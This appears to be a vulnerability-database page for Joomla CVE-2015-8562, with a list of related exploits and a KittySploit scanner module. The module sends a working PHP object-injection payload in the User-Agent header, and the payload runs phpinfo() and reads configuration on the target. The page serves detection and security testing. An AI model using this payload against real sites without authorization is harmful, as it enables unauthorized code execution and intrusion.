Joomla HTTP Header Unauthenticated - Remote Code Execution Detection
| Reporter | Title | Published | Views | Family All 52 |
|---|---|---|---|---|
| Joomla 1.5 - 3.4.5 - Object Injection RCE X-Forwarded-For Header Exploit | 18 Dec 201500:00 | – | zdt | |
| Joomla 1.5 - 3.4.5 - HTTP Header Unauthenticated Remote Code Execution Exploit | 19 Dec 201500:00 | – | zdt | |
| Exploit for Improper Input Validation in Joomla Joomla\! | 17 Sep 201715:03 | – | githubexploit | |
| Exploit for Improper Input Validation in Joomla Joomla\! | 4 Jan 201613:37 | – | githubexploit | |
| Exploit for Improper Input Validation in Joomla Joomla\! | 8 Jan 201712:59 | – | githubexploit | |
| Exploit for Path Traversal in Codiad | 24 Nov 202016:49 | – | gitee | |
| Exploit for Path Traversal in Codiad | 6 Sep 202515:20 | – | gitee | |
| Exploit for Path Traversal in Codiad | 26 Sep 202021:18 | – | gitee | |
| joomla -- multiple vulnerabilities | 14 Dec 201500:00 | – | freebsd | |
| CVE-2015-8562 | 15 Dec 201500:00 | – | circl |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Joomla! 1."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Joomla HTTP Header Unauthenticated - Remote Code Execution Detection',
'description': 'Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015',
'author': ['KittySploit Team'],
'severity': 'high',
'tags': ['web', 'scanner', 'cve', 'cve2015', 'joomla', 'rce', 'unauth', 'vkev', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'risk_signal',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [],
},
},
'references': [
'https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562',
'https://nvd.nist.gov/vuln/detail/CVE-2015-8562',
],
'cve': 'CVE-2015-8562',
}
def run(self):
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_any = ('Joomla',)
if not (any(m in body for m in body_any)):
return False
path = '/'
r = self.http_request(method='GET', path=path, allow_redirects=False, headers={'User-Agent': '123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}𝌆', 'Connection': 'close'})
if not r or r.status_code != 200:
return False
body = r.text or ""
body_all = ('PHP Extension', 'PHP Version',)
if all(m in body for m in body_all):
self.set_info(severity='high', reason='Joomla HTTP Header Unauthenticated - Remote Code Execution detected', path=path)
return True
return False
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28 Jul 2026 11:27Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
EPSS0.98283